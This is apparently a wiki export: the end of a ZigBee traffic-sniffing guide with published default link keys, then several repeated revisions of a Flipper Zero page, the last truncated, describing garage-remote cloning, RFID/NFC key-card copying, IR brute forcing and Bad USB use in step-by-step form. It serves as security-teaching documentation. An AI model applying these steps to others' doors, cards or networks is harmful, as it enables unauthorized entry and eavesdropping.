If it still doesn't change, you can also install the firmware manually. For this open a terminal and change into the ZShark-folder (that is where you have installed the application) and run this command (as root):
GCFFlasher_internal -d /dev/ttyUSB0 -f /usr/share/zshark/fw/sniffer_v1_0.bin
where
# ''/dev/ttyUSB0'' is the path to your device
# ''/usr/share/zshark/fw/sniffer_v1_0.bin'' is the path to the firmware you want to install
Both paths are the absolute paths, and they may certainly differ from this solution. Make sure you look up the correct paths on your own system and use them accordingly.

If everything worked fine, you should see a dialogue like this

[[File:ZSharkReady.png|border|500px]]

where the path in the COM port identifier shows you the sniffer was detected correctly.

The remote capture IP is to use if you decide to send the captured data to Wireshark on another machine. In my case this was not necessary, as I used Wireshark on the same device.

==== Choose ZigBee channel ====

Channel 11 is the default ZigBee channel, so there you find your traffic unless you configured your network otherwise (in that case you obviously change it to the applicable channel).

'''Start capturing packets with "Start".'''

You should see the number identified by "Received Packets" in the dialogue to increase immediately.

=== Step 2: Wireshark Configuration ===
Open Wireshark.

==== Select interface ====
Choose the loopback interface. This is where ZShark sends packets by default.

[[File:WiresharkInterfaces.png|border|500px]]

Leave the input field for capture filter empty.

==== Apply display filter ====

udp.port==17754 && !icmp

* UDP because our ZigBee devices rely on this protocol
* Port 17754 is designated for ZigBee packets
* And we don't need the ICMP output for our analysis
It won't do no harm if you forget to apply the filter, though you will get packets displayed you won't be interested in. You can also apply it afterwards or add additional filters to easier find specific packets.

==== Add symmetric key of bridge ====

Go to:

Edit > Preferences > Protocols > ZigBee

[[File:WiresharkPreferences.png|Border|500px]]

Leave the Security Level in its default value (AES-128 Encryption, 32-bit Integrity Protection). Choose ''Edit'' at "Pre-configured keys" and add the key of your bridge, which in most cases is
5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39
or, in this case using the '''Philips Hue Bridge''', is
81:42:86:86:5D:C1:C8:B2:C8:CB:C5:2E:5D:65:D1:B8
as these are mostly universal default keys so that communication in ZigBee networks can be established with lots of different devices from different vendors without further ado.

Another possible key, if the other two do not work as intendend would be
9F:55:95:F1:02:57:C8:A4:69:CB:F4:2B:C9:3F:EE:31

In both cases, choose the Byte Order "Normal".

Without the brigde key, you are still able to capture traffic, though you will not get access to additional information, or important insight into the payload respectively. For example, you would not be able to display the end-point device keys, which will be explained in the next step.

'''Start capturing the packets in Wireshark as well.'''

=== Step 3: Wireshark Network Traffic Analysis ===

Now you will see traffic similar to this:

[[File:WiresharkTraffic2.jpg|border|750px]]

It shows there was data broadcasted, unfortunately without any further details. The circled output shows contained data is encrypted.

==== Locate Packet with Symmetric Key ====
To get hold of an end-point device key in a ZigBee network, look out for specific packets. A device newly entering a network sends its key decrypted until it is established and ingested into the network by the bridge. If you have configured the bridge key correctly, you should see a new device advertising its symmetric key in packets which are tagged as '''"Device Announcement"''' in the information column of Wireshark (although there are other packets as well with visible key, this is the first one where this happens).

[[File:WiresharkDA.png|border|750px]]

To simulate a device entering into a network, you have to reset it. With the light bulb, I simply disconnected it from its socket and re-attached it. Switching the light on and off won't help, it has to be taken off the electricity completely.

==== Add end-point device key in Wireshark ====
Go to:

Edit > Preferences > Protocols > ZigBee

and add the key with Byte Order "Normal".

From this point on, you are able to see all information, as you can adequatly decrypt it.

[[File:WiresharkTrafficDecr.png|Border|750px]]

This is the same packet as the first one in this section, only with added key. As you can see, the payload is now clearly visible, and it shows detailed information about the transported commands.

== Used Hardware ==

[[ConBee ZigBee USB Gateway]]

[[Philips Hue Bridge 2.0, Gateway]]

[[Philips Hue White LED E27 9.5W/827, white]]

== Courses ==

* (nothing here yet)

== References ==

* https://www.phoscon.de/de/conbee/software#zshark
* https://play.google.com/store/apps/details?id=com.philips.lighting.hue2

[[Category:Documentation]]

Flipper Zero

2023-03-23T12:48:21Z

ARessl:

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* Audio Players
* Projectors
* Air Conditioners

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===

Applications are for a more special use of the Flipper Hardware for example to fetch and decode the signal from a weather station or use the PicoPass NFC protocol.
Another example would be the Bluetooth remote, which can control devices using the Bluetooth standard.
Furthermore, there is also a pre-installed game on the device, namely Snake.

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-03-23T12:48:11Z

ARessl: /* Applications */

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* Audio Players
* Projectors
* Air Conditioners

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===

Applications are for a more special use of the Flipper Hardware for example to fetch and decode the signal from a weather station or use the PicoPass NFC protocol.
Another example would be the Bluetooth remote, which can control devices using the Bluetooth standard.
Furthermore, there is also a pre-installed game on the device, namely Snake.

=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-03-23T12:44:29Z

ARessl: /* Infrared */

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* Audio Players
* Projectors
* Air Conditioners

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.

[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]

Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].

=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T12:13:55Z

ARessl: /* GPIO */ added sources

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

